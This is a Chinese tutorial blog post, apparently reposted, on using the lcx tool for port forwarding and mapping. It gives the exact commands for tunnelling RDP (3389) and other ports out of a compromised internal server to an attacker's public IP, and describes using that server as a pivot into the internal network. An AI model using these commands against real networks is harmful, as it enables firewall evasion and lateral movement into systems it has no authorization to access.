lcx工具使用

Posted zhaijiahui

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了lcx工具使用相关的知识,希望对你有一定的参考价值。

 

0x01 为什么要作端口转发?

 

如果外网服务器,我们直接连接其端口就能进行访问,不需要进行端口转发。所以端口转发常用于穿透防火墙。

 

 

0x02 快速使用

 

前提:你的计算机处于公网,被控制的计算机能访问外网

 

一般情况连接内网的3389需要4步:

 

1:确定被控制计算机的内网ip

2:被控制的计算机执行”lcx -slave 你的计算机ip 51 被控制计算机的ip 3389”

3:本机执行”lcx -listen 34 2389”

4:用mstsc 连接“127.0.0.1:2389”

 

在本机上运行:

 

lcx –listen 34 2389,说明一下这句指令的意思,这句话的意思就是监听本机的34端口然后将数据转发到2389端口,当然这里的34 2389端口是依心情而定,但是,必须要注意这些端口也不能使用那些本机已经开放的端口。

 

内网服务器上运行:(拿到可执行权限作如下操作)

 

我假设:219.222.181.181为我自己的ip,192.168.0.2 3389为内网服务器的ip。

说说这句话的意思:slave为奴隶的意思,顾名思义,即内网服务器甘愿将自己的3389给219.222.181.181的34端口!

 

连接:现在所有步骤都完成了,就等着你进行连接了,不要告诉我到这个时候你还是不会连哦,到手的服务器都不要吗?

 

 

0x03 了解工具

 

这是lcx使用说明

 技术分享图片

Lcx有两大功能,一个是端口转发(listen和slave成对使用),另一个是端口映射(tran)。

 

端口转发:

 

Lcx -Listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>

Lcx -slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>

 

所以既然我们只需要连接那台服务器,我们只需要设置目标ip参数为127.0.0.1就好了(127.0.0.1 Localhost 即本机)因为别忘了slave是在对面服务器执行的。当然了这里补充一点目标端口号是可以换的比如3306这样你就可以连接对面的mysql数据库了。有些人肯定要问了如果把这个127.0.0.1换成其他的ip会怎么样,如果你尝试过了那么恭喜你发现了新功能,你可以访问更多的3389。

 

1、本机执行lcx -listen 40050 10000

2、被控制服务器执行 lcx -slave 1.1.1.1 40050 10.10.0.3 3389

3、连接成功之后中间就出现了一条通道,可以互相传输数据

4、我们打开mstsc 输入127.0.0.1:10000

 

Ok,这样我们就能访问内网的其他机子了,理论上来说被控制的服务器能访问到的我们都能访问,其实就是以被攻击的服务器做跳板。扩展一点讲,还记得listen的参数么?第一个是监听slave请求的端口,另一个监听端口,这个监听端口我们可以访问,当然别人也可以访问(一般用来共享)。

在1.1.1.1做好监听并且对面执行slave且成功的话1.1.1.2和1.1.1.3就可以用mstsc连接1.1.1.1:10000来访问到对面10.10.0.3的3389了。

 

端口映射:

 

Lcx -tran <等待连接的端口> <目标ip> <目标端口>

Lcx -tran 1920 127.0.0.1 21

这样我访问本机的1920端口就能访问到本机的ftp了,当然把127.0.0.1换成其他的ip都可以。

 

0x04 参考链接:

 

http://www.freebuf.com/sectool/126967.html

以上是关于lcx工具使用的主要内容,如果未能解决你的问题,请参考以下文章

lcx内网端口转发

make 工具和 Makefile 基础使用

VPN隧道-传输层隧道技术端口转发

lcx 转发(windows)

lcx端口转发 linux版

分享一个免杀的反弹shell工具(python脚本转换成exe)